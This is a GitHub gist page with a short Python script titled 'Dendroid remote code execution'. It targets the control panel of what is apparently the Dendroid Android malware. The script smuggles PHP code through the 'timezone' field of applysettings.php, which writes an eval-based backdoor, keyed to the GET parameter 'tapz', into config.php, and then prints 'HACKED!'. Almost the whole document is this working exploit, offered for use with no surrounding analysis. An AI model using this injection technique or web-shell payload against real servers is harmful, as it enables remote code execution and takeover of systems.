Skip to content

Instantly share code, notes, and snippets.

@Xyl2k
Last active December 12, 2024 04:52
Show Gist options
  • Save Xyl2k/5c377e53023d0d108704 to your computer and use it in GitHub Desktop.
Save Xyl2k/5c377e53023d0d108704 to your computer and use it in GitHub Desktop.
Dendroid remote code execution
import requests
# Add URL
# Set a PHP payload
# Go to http://website/config.php
URL = 'http://localhost/Panel/applysettings.php'
PAYLOAD = "(isset($_GET['tapz'])) ? eval($_GET['tapz']) : '"
data = {
'dbhost' : 'localhost',
'dbname' : 'dendroid',
'dbusername' : 'root',
'dbpassword' : '',
'username' : 'admin',
'password' : 'admin',
'postboxsize' : '10',
'devicetablerefr' : '10000',
'filetablerefr' : '10000',
'historyboxrefr' : '5000',
'botoffline' : '60',
'timezone' : "Europe/Brussels';" + PAYLOAD,
'messageboxscroll' : 'Yes',
}
headers = { 'Host': '127.0.0.1' }
req = requests.post(URL, data=data, headers=headers)
print 'HACKED!'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment